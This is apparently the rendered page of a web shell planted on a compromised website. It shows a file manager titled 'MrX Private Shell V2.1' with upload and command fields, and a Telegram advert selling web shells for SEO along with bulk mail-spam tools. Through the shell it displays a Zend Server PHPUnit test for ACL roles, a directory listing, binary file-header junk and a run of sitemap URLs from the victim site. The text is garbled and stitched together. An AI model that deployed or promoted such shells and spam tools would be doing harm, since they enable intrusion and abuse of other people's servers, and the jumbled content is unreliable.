xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Acl\Db;

use ZendServer\FS\FS;
use Zend\Db\TableGateway\TableGateway;
use Configuration\MapperAbstractTest;
use Application\Module;
use ZendServer\PHPUnit\TestCase;
use Zend\Authentication\Storage\NonPersistent;
use PHPUnit_Framework_TestCase,
    Application\Controller\Plugin\Authentication,
    Application\Controller\LoginController,
    Zend\Di\Di,
    Zend\Authentication\Result,
    ZendServer\Exception;

require_once 'tests/bootstrap.php';

class MapperTest extends MapperAbstractTest
{
    protected $testedTable = 'GUI_ACL_ROLES';

    public function testGetRoles()
    {
        $roles = $this->getTestedMapper()->getRoles();
        self::assertInstanceOf('ZendServer\Set', $roles);
        self::assertInstanceOf('Acl\Role', $roles->current());
        self::assertEquals('guest', $roles[0]->getName());
        self::assertEquals('', $roles[0]->getParentName());
        self::assertEquals('admin', $roles[1]->getName());
        self::assertEquals('guest', $roles[1]->getParentName());
    }
    /*
     * (non-PHPdoc)
     * @see \Configuration\MapperAbstractTest::sqlGetContents()
     */

    protected function sqlGetContents()
    {
        $basepath = __DIR__;
        return file_get_contents(FS::createPath(ZEND_SERVER_GUI_PATH, 'utils', 'sqls', 'gui_sqlite_create_database.sql'));
    }

    /**
     * @return Mapper
     */
    protected function getTestedMapper()
    {
        if ($this->testedMapper) return $this->testedMapper;

        $this->testedMapper = new Mapper();
        $this->testedMapper->setRolesTable(new TableGateway('GUI_ACL_ROLES', $this->getDbAdapter()));
        $this->testedMapper->setResourcesTable(new TableGateway('GUI_ACL_RESOURCES', $this->getDbAdapter()));
        $this->testedMapper->setPrivilegesTable(new TableGateway('GUI_ACL_PRIVILEGES', $this->getDbAdapter()));
        return $this->testedMapper;
    }

    protected function getRows()
    {
        /// disable fixtures
        return array(
            "1, 'guest', ''",
            "2, 'admin', 1",
            "3, 'superadmin', 2",
        );
    }

    protected function getTableColumns()
    {
        /// disable fixtures
        return "role_id, role_name, role_parent ";
    }
}

Filemanager

Name Type Size Permission Actions
MapperGroupsTest.php File 3.53 KB 0644
MapperTest.php File 2.17 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml